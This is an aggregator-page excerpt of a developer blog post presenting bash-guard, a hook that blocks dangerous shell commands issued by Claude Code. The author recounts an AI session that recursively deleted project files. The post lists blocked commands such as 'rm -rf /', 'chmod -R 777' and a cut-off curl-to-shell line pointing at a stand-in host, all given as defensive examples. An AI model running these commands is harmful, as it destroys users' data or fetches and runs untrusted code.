FlareStart
HomeNewsHow ToSources
FlareStart

Where developers start their day. All the tech news & tutorials that matter, in one place.

Quick Links

  • Home
  • News
  • Tutorials
  • Sources
  • Privacy Policy

Connect

© 2026 FlareStart. All rights reserved.

Back to articles
"bash-guard: Stop Claude Code From Running Dangerous Commands"
How-ToTools

"bash-guard: Stop Claude Code From Running Dangerous Commands"

via Dev.toBoucle5h ago

Claude Code can run any bash command on your machine. That's what makes it powerful. It's also what makes it dangerous. Most of the time, it runs sensible commands. But sometimes, through hallucination, bad prompts, or prompt injection from a file it reads, it can run something catastrophic. I know because it happened to me. A Claude Code session ran find ... -exec rm -rf {} + across my projects and deleted a build directory that my autonomous agent's scheduler depended on. It took me offline. So I built bash-guard , a hook that intercepts dangerous commands before they execute. What it catches bash-guard blocks 9 categories of dangerous commands: 1. Recursive delete on critical paths rm -rf / # blocked rm -rf ~ # blocked rm -rf * # blocked rm -rf ./build # allowed (specific directory) 2. Dangerous permission changes chmod -R 777 . # blocked (world-writable) chmod -R 000 /tmp # blocked (no access) chmod 644 file.txt # allowed (single file) 3. Pipe to shell curl http://sketchy.com/insta

Continue reading on Dev.to

Opens in a new tab

Read Full Article
0 views

Related Articles

How I Won the MTD Marathon 2026 — Building a Personal Diary App in Just 4 Hours
How-To

How I Won the MTD Marathon 2026 — Building a Personal Diary App in Just 4 Hours

Medium Programming • 1h ago

Why Engineering Managers Should Challenge Product Assumptions Early
How-To

Why Engineering Managers Should Challenge Product Assumptions Early

Medium Programming • 2h ago

PopSockets founder David Barnett talks about building a viral business
How-To

PopSockets founder David Barnett talks about building a viral business

TechCrunch • 2h ago

Your App Is Slow. Your Cache Is the Problem.
How-To

Your App Is Slow. Your Cache Is the Problem.

Medium Programming • 3h ago

How to Change Audio Output Per App on Mac (3 Working Methods)
How-To

How to Change Audio Output Per App on Mac (3 Working Methods)

Dev.to Tutorial • 3h ago

Discover More Articles